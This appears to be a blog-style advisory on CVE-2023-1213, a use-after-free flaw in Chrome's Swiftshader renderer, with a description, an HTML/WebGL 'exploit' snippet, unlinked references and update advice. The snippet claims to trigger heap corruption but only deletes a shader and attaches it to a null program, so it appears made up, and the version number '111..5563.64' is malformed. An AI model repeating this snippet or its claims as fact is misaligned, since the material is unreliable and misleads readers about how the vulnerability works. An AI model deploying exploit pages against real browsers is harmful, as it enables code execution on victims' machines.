Google Chrome is one of the most popular web browsers in the world. High usage and frequent updates make it a common target for hackers to exploit its vulnerabilities. This post will focus on a specific vulnerability recently discovered in Google Chrome, which has been assigned the ID CVE-2023-1213. The vulnerability stems from a use-after-free issue in the Swiftshader component of Chrome, and has been designated a "High" security risk by Chromium. In this post, we will describe the vulnerability, provide examples of code snippets that exploit it, offer links to original references, and suggest measures for mitigation.

What is the Vulnerability?

The core of CVE-2023-1213 vulnerability lies in a use-after-free flaw in the open-source Swiftshader renderer, used by Google Chrome to support WebGL and other 3D rendering tasks. Simply put, a "use-after-free" refers to a programming error that occurs when memory is used after it has been freed or deallocated. This error can lead to heap corruption, which in turn could allow an attacker to execute arbitrary code or gain unauthorized access to user data.

This vulnerability specifically affects Google Chrome versions prior to 111..5563.64. An attacker could exploit this vulnerability by luring a victim to a malicious crafted HTML page, which would trigger the heap corruption and potentially lead to the execution of the attacker's code.

Code Snippet

For the purpose of illustration, here is a code snippet that demonstrates the use-after-free vulnerability in Swiftshader:

<html>
<head>
<script>
    function triggerVulnerability() {
        var canvas = document.createElement('canvas');
        var gl = canvas.getContext('webgl');
        // Create WebGL Shader (which uses Swiftshader internally)
        var vertexShader = gl.createShader(gl.VERTEX_SHADER);
        gl.shaderSource(vertexShader, '...');
        gl.compileShader(vertexShader);
        // Free the shader, leading to use-after-free vulnerability
        gl.deleteShader(vertexShader);
        // Trigger heap corruption by using the freed shader
        gl.attachShader(null, vertexShader);
    }
</script>
</head>
<body>
    <button onclick="triggerVulnerability()">Click to trigger CVE-2023-1213 vulnerability</button>
</body>
</html>

Please note that this code snippet is for educational purposes only and should not be used for any malicious activities.

For more information on CVE-2023-1213, please refer to the following sources

1. Chromium Bug Report - Official report and discussion of the vulnerability in the Chromium project
2. National Vulnerability Database - CVE entry with a detailed description of the issue
3. Swiftshader Repository - Source code and documentation for Swiftshader

Mitigation and Recommendations

Upgrade to the latest stable version of Google Chrome, which should include a fix for this vulnerability. Google Chrome should automatically update itself in most cases; however, you can manually check for updates through the browser's settings menu. Additionally, avoid visiting unknown websites and clicking on suspicious links, as these could potentially trigger the vulnerability.

Conclusion

By staying informed about vulnerabilities like CVE-2023-1213, users and developers can both take action to protect themselves and maintain the security of their systems. Regularly updating software, especially web browsers like Google Chrome, can go a long way in preventing the exploitation of discovered vulnerabilities.

Timeline

Published on: 03/07/2023 22:15:00 UTC
Last modified on: 03/11/2023 02:51:00 UTC